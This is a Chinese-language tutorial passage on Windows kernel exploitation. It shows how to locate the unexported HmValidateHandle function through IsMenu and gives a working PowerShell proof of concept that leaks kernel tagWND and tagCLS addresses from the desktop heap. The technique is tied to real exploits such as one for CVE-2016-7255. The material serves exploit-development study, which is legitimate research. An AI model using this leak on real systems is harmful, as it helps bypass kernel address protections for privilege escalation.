返回介绍

Leak 2 => User32::HmValidateHandle

发布于 2025-01-03 23:32:57 字数 6945 浏览 0 评论 0 收藏 0

HmValidateHandle 第一次被使用是在 2011 年 @kernelpool 攥写的论文 Kernel Attacks through User-Mode Callbacks 中提出的,随后不久这一技术就被用在了各种 exp 中,包括 CVE-2016-7255 as exploited by Fancy Bear

HmValidateHandle 是一个很有意思的函数,我们可以提供一个 Window 句柄给它,它会返回桌面堆上用户映射的 tagWND 对象,这简直太好用了!通过这种方式我们可以获取完整的 TEB 解析和爆破。唯一的问题在于 HmValidateHandle 并未被 user32 导出,所以我们需要一些技巧来获取它的地址。

从一大堆公开的解释中我们发现 HmValidateHandle 与导出的 User32::IsMenu 函数最近,让我在 KD 中看看。

确实不痛不痒!我们需要做的就是获取 User32::IsMenu 运行时地址,寻找第一个 0xE8 字节(call xxx) 并攫取出 HmValidateHandle 的指针。我们可以利用下面的一段代码实现。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public class HmValidateHandleBitmap
{
  delegate IntPtr WndProc(
    IntPtr hWnd,
    uint msg,
    IntPtr wParam,
    IntPtr lParam);
 
  [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
  struct WNDCLASS
  {
    public uint style;
    public IntPtr lpfnWndProc;
    public int cbClsExtra;
    public int cbWndExtra;
    public IntPtr hInstance;
    public IntPtr hIcon;
    public IntPtr hCursor;
    public IntPtr hbrBackground;
    [MarshalAs(UnmanagedType.LPWStr)]
    public string lpszMenuName;
    [MarshalAs(UnmanagedType.LPWStr)]
    public string lpszClassName;
  }
 
  [DllImport("user32.dll")]
  static extern System.UInt16 RegisterClassW(
    [In] ref WNDCLASS lpWndClass);
 
  [DllImport("user32.dll")]
  public static extern IntPtr CreateWindowExW(
    UInt32 dwExStyle,
    [MarshalAs(UnmanagedType.LPWStr)]
    string lpClassName,
    [MarshalAs(UnmanagedType.LPWStr)]
    string lpWindowName,
    UInt32 dwStyle,
    Int32 x,
    Int32 y,
    Int32 nWidth,
    Int32 nHeight,
    IntPtr hWndParent,
    IntPtr hMenu,
    IntPtr hInstance,
    IntPtr lpParam);
 
  [DllImport("user32.dll")]
  static extern System.IntPtr DefWindowProcW(
    IntPtr hWnd,
    uint msg,
    IntPtr wParam,
    IntPtr lParam);
 
  [DllImport("user32.dll")]
  public static extern bool DestroyWindow(
    IntPtr hWnd);
 
  [DllImport("user32.dll")]
  public static extern bool UnregisterClass(
    String lpClassName,
    IntPtr hInstance);
 
  [DllImport("kernel32",CharSet=CharSet.Ansi)]
  public static extern IntPtr LoadLibrary(
    string lpFileName);
 
  [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
  public static extern IntPtr GetProcAddress(
    IntPtr hModule,
    string procName);
 
  public delegate IntPtr HMValidateHandle(
    IntPtr hObject,
    int Type);
 
  [DllImport("gdi32.dll")]
  public static extern IntPtr CreateBitmap(
    int nWidth,
    int nHeight,
    uint cPlanes,
    uint cBitsPerPel,
    IntPtr lpvBits);
 
  public UInt16 CustomClass(string class_name, string menu_name)
  {
    m_wnd_proc_delegate = CustomWndProc;
    WNDCLASS wind_class = new WNDCLASS();
    wind_class.lpszClassName = class_name;
    wind_class.lpszMenuName = menu_name;
    wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
    return RegisterClassW(ref wind_class);
  }
 
  private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
  {
    return DefWindowProcW(hWnd, msg, wParam, lParam);
  }
 
  private WndProc m_wnd_proc_delegate;
}
"@
 
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
 
function Create-WindowObject {
  $MenuBuff = "A"*0x8F0
  $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
  [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
 
function Destroy-WindowObject {
  param ($Handle)
  $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
  $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
 
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
  $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
  $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
   
  # Get HMValidateHandle pointer
  for ($i=0;$i-lt50;$i++) {
    if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
      $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
      [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
    }
  }
 
  if ($lpHMValidateHandle) {
    # Cast IntPtr to delegate
    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
  }
}
 
#------------------[Window Leak]
function Leak-lpszMenuName {
  param($WindowHandle)
  $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
  $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
  if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
    $pCLSOffset = 0xa8
    $lpszMenuNameOffset = 0x90
  } else {
    $pCLSOffset = 0x98
    $lpszMenuNameOffset = 0x88
  }
 
  # Cast HMValidateHandle & get window desktop heap pointer
  $HMValidateHandle = Cast-HMValidateHandle
  $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
 
  # Calculate all the things
  $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
  $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
  $lpszMenuName = [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
 
  echo "`n[+] ulClientDelta:        $('{0:X16}' -f $ulClientDelta)"
  echo "[+] User tagWND:        $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()))"
  echo "[+] User tagCLS:        $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
  echo "[+] Kernel tagWND:        $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()+$ulClientDelta))"
  echo "[+] Kernel tagCLS:        $('{0:X16}' -f $($KerneltagCLS))"
  echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
}
 
$hWindow = Create-WindowObject
echo "`n[+] Window handle: $hWindow"
Leak-lpszMenuName -WindowHandle $hWindow

运行 POC,本质上它给了我们和第一种泄露同样的结果,但它更为简洁。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文